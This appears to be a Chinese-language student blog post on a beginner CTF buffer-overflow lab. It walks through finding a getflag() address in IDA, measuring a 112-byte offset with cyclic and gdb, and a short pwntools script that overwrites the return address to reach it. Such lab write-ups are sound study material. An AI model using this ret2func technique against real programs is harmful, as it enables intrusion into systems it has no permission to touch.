PWN实验
这可能还真的是我第一次接触这类奇奇怪怪的东西。

首先,想到的肯定是先把pwn这个文件在Ubuntu虚拟机的terminal中执行一遍。

如图所示,随便输入一个什么东西,程序就结束了。

用IDA打开这个程序,发现:

发现了有getflag()函数,再找到getflag()的位置:

地址为0x0804858B.
回到ubuntu里,输入【cyclic 200】生成200个有序字符,以查看什么时候溢出的。

启用gdb调试,输入【gdb pwn】,如下图所示:

开始运行,输入【run】,如下图所示:

将那产生的200个字符作为输入:

观察可知溢出的地方是0x62616164.再输入【cyclic -l 0x62616164】:

得到112,0x62616164对应的ASCII码为'baad',说明‘baad’前有112个字母,那么这112个字母就是填充空栈的所需量了。接下来多的就会溢出。
那么我们就要把我们要他跳转的位置放在112个字母后让他溢出,就可以实现跳转。
写脚本,将其放在112个填充物的后面。
脚本代码:
# -*- coding: utf-8 -*-
"""
Created on Thu Mar 14 15:04:49 2019
@author: ZHANGJIAHAO
"""
from pwn import *
sh=process('./pwn')
elf=ELF('./pwn')
target=0x0804858B
sh.sendline('a'*112+p32(target))
#至此就获得了系统权限
sh.interactive()
#打开交互页面
自己写一个f1ag文件,我在文件里输入的是【{flag}ZJH】,执行效果如下:

最终,获得了系统权限。
网友评论